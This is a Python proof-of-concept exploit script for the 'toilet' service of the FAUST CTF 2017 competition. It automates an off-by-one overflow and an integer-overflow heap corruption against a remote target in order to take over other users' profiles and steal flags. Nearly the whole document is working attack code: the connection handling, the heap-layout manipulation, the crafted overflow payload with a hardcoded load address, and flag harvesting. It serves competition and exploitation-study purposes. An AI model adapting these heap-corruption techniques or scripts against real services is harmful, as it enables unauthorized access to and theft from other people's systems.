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POC exploit for toilet service of FAUST-CTF-2017
#!/usr/bin/env python2
from pwn import *
from re import findall
from random import choice, randint
from string import digits, ascii_uppercase
from hashlib import sha256
from sys import argv, exit
MAX_NAME_LEN = 64
LOG_ELEMENT_SIZE = 0x70
#load_addr = 0x402000 # local
load_addr = 0x403000 # remote
def print_usage(argv):
print "Usage: {} <exploit_type> <ip-address>".format(argv[0])
print "exploit_type:"
print "\t- off-by-one: Off by one error in account creation"
print "\t- integer-overflow: Integer overflow when calculating note buffer"
class ToiletExploit():
def __init__(self, ip):
self._ip = ip
self._port = 5743
self.TIMEOUT = 20
self.NOTWORKING = 21
def off_by_one(self):
s = self.connect()
if s is None:
log.error("Connection error")
sys.exit(1)
"""
Get log entries
"""
log.info("Dumping log")
log_entries = self.get_log_entries(s, self.get_log(s))
log.info("Number of log entries found: {}".format(len(log_entries)))
flags = []
# entries go from new to old
for log_entry in log_entries:
"""
Overflow flush function
"""
name = "B"*(MAX_NAME_LEN)
if self.login(s, name) is None:
log.error("Login error")
sys.exit(1)
if self.drop_load(s, "toomuch", log_entry) is None:
continue
"""
Change account by triggering loadProfile
"""
if self.flush(s) is None:
continue
log.success("Logged in as {}".format(log_entry))
"""
Search flag
"""
settings = self.get_settings(s)
if settings is None:
continue
name = self.get_name(settings)
if name is None:
continue
flag = self.find_flag(name)
if flag:
flags.append(flag)
if self.logout_store(s) is None:
log.error("Logout error")
sys.exit(1)
self.exit(s)
return flags
def integer_overflow(self):
s = self.connect()
name = self.genRandString(10);
if s is None:
log.error("Connection error")
sys.exit(1)
"""
Get current log entries
"""
log_entries = self.get_log_entries(s, self.get_log(s))
self.exit(s)
s.close()
flags = []
for entry in log_entries:
flag = self.overflow_profile(entry)
if flag:
flags.append(flag)
return flags
def overflow_profile(self, entry):
s = self.connect()
name = self.genRandString(10);
"""
Create first heap-chunk
| Profile(0x70) | ....
"""
if self.login(s, name) is None:
log.error("Login error")
s.close()
return None
"""
Create second and third heap-chunk
| Profile(0x70) | Drop_load(0x20) | Log_Entry(0x70) | ....
"""
chunk_size = self.drop_load_overflow(s, "notimportant")
if chunk_size is None:
log.error("Drop error")
s.close()
return None
"""
Free second heap-chunk
| Profile(0x70) | Free(0x20) | Log_Entry(0x70) | ....
"""
if self.flush(s) is None:
log.error("Flush error")
return None
"""
Use missing free in the logout function
"""
if self.logout_discard(s) is None:
log.error("Logout error")
s.close()
return None
"""
Create fourth heap-chunk
| Profile(0x70) | Free(0x20) | Log_Entry(0x70) | Profile2(0x70) |....
"""
if self.login(s, name) is None:
log.error("Login error")
s.close()
return None
"""
Allocate second heap-chunk and overflow Log_Entry and Profile2
| Profile(0x70) | Drop_Load(0x20) | Overflow -> (Log_Entry(0x70)) | (Profile2(0x70)) |....
"""
payload = entry + "\x00"*(chunk_size+LOG_ELEMENT_SIZE+MAX_NAME_LEN-(len(entry))) + p64(load_addr)
chunk_size2 = self.drop_load_overflow(s, payload)
log.info("Allocated block before Profile")
"""
Switch Account to entry
"""
if self.flush(s) is None:
return None
log.success("Logged in as {}".format(entry))
"""
Leak potential flag
"""
settings = self.get_settings(s)
if settings is None:
s.close()
return None
name = self.get_name(settings)
if name is None:
s.close()
return None
flag = self.find_flag(name)
self.exit(s)
s.close()
return flag
def genRandString(self, N):
return ''.join(choice(ascii_uppercase + digits) for _ in range(N))
def connect(self):
try:
s = remote(self._ip, self._port)
except:
return None
if self.read_menu(s) is None:
return None
return s
def read_menu(self, s):
return s.recvuntil("Your choice: ")
def login(self, s, name):
s.sendline('1')
if s.recvuntil('Please give me your name: ') is None:
return None
s.sendline(name)
if self.read_menu(s) is None:
return None
return 1
def change_seat_temp(self, s, temp):
s.sendline('2')
if s.recvuntil('Please give me the new temperature: ') is None:
return None
s.sendline(str(temp))
resp = s.recvlines(2)[1]
if self.read_menu(s) is None:
return None
if "Algright, let me arrange that for you." not in resp.decode('utf-8'):
return None
return 1
def change_flush_func(self, s, choice):
s.sendline('3')
if s.recvuntil('Your choice: ') is None:
return None
s.sendline(str(choice))
resp = s.recvlines(2)[1]
if self.read_menu(s) is None:
return None
if "Something went wrong, please try again!" in resp.decode('utf-8'):
return None
return 1
def get_settings(self, s):
s.sendline('4')
ret = s.recvuntil('1. Login')
if self.read_menu(s) is None:
return None
return ret
def get_id(self, text):
if text is None:
return None
hits = findall(r'ID: (\d*)', text.decode('utf-8'))
if not hits:
return None
return hits[0]
def get_name(self, text):
if text is None:
return None
hits = findall(r'Name: ([\w+_/]*)', text.decode('utf-8'))
if not hits:
return None
return hits[0]
def get_temp(self, text):
if text is None:
return None
hits = findall(r'Seat temperature: (\d*)', text.decode('utf-8'))
if not hits:
return None
return hits[0]
def drop_load(self, s, cons, content):
s.sendline('5')
tmp = s.recvuntil('load weights ')
tmp = s.recvline()
hits = findall(r'(\d*)g', tmp.decode('utf-8'))
weight = hits[0]
ret = s.recvuntil('the consistency:')
if not ret:
return None
s.sendline(cons)
ret = s.recvline()
if not ret:
return None
s.sendline(content)
if self.read_menu(s) is None:
return None
return weight
def drop_load_overflow(self, s, content):
s.sendline('5')
tmp = s.recvuntil('load weights ')
tmp = s.recvline()
hits = findall(r'(\d*)g', tmp.decode('utf-8'))
weight = int(hits[0], 10)
ret = s.recvuntil('the consistency:')
if not ret:
return None
cons, cons_word = self.calc_cons(weight)
if cons is None:
return None
chunk_size = self.calc_chunk_size((weight*100+cons*10)%(2**16))
s.send(cons_word)
ret = s.recvline()
if not ret:
return None
s.sendline(content)
if self.read_menu(s) is None:
return None
s.clean()
return chunk_size
def calc_cons(self, weight):
max_val = 2**16
cons = 1
"""
Make sure buffer is too small for a Profile
"""
cons = (max_val-(weight*100)+0x50)/10
remaining = cons
cons_word = ""
while remaining > 0x7e:
cons_word += chr(0x7e)
remaining -= 0x7e
if remaining < 0x20:
cons_word = cons_word[:-1] + chr(0x5e) + chr(remaining+0x20)
else:
cons_word += chr(remaining)
cons_word += "\n"
if len(cons_word) > 30:
return None, None
return cons, cons_word
def calc_chunk_size(self, cons):
if cons < 0x19:
return 0x20
if cons < 0x29:
return 0x30
if cons < 0x39:
return 0x40
if cons < 0x49:
return 0x50
if cons < 0x59:
return 0x60
if cons < 0x69:
return 0x70
if cons < 0x79:
return 0x80
def show_latest_notes(self, s):
s.sendline('6')
ret = s.recvlines(2)[1]
if "Here are your notes:" not in ret.decode('utf-8'):
self.read_menu(s)
return None
notes = s.recvline()
if not notes:
return None
if self.read_menu(s) is None:
return None
return notes
def flush(self, s):
s.sendline('7')
ret = s.recvuntil('1. Login')
if ret is not None and b'Going to flush now' not in ret:
return None
self.read_menu(s)
return 1
def get_log(self, s):
s.sendline('8')
ret = s.recvuntil('1. Login')
if self.read_menu(s) is None:
return None
return ret
def get_log_entries(self, s, log):
lines = log.decode('utf-8').split('\n')
entries = []
for line in lines:
log_id = self.get_log_id(s, line)
if log_id:
entries.append(log_id)
return entries
def get_log_id(self, s, line):
hits = findall(r'#==== ([\da-f]*) ==== | ==== [\d:]* ====#', line)
if not hits:
return None
return hits[0]
def find_log_entry(self, s, log, profile_id):
entries = get_log_entries(s, log)
for entry in entries:
if profile_id == get_log_id(entry).lstrip("0"):
return True
return False
def logout_store(self, s):
s.sendline('9')
s.recvline()
s.sendline('y')
ret = s.recvuntil('1. Login')
if ret is None or b'Hope you feel relieved now! Come back soon!' not in ret:
return None
self.read_menu(s)
return 1
def logout_discard(self, s):
s.sendline('9')
s.recvline()
s.sendline('n')
self.read_menu(s)
return 1
def exit(self, s):
s.sendline('10')
return 1
def find_flag(self, line):
hits = findall(r'FAUST_[A-Za-z0-9/\+]{32}', line)
if not hits:
return None
else:
return hits[0]
if len(argv) < 3:
print_usage(argv)
exit(1)
#context.clear(log_level='debug')
exploit = ToiletExploit(argv[2])
if argv[1] == "off-by-one":
flags = exploit.off_by_one()
elif argv[1] == "integer-overflow":
flags = exploit.integer_overflow()
if len(flags) > 0:
print "Here are your flags:"
for flag in flags:
print flag
else:
print "No flags were found!"
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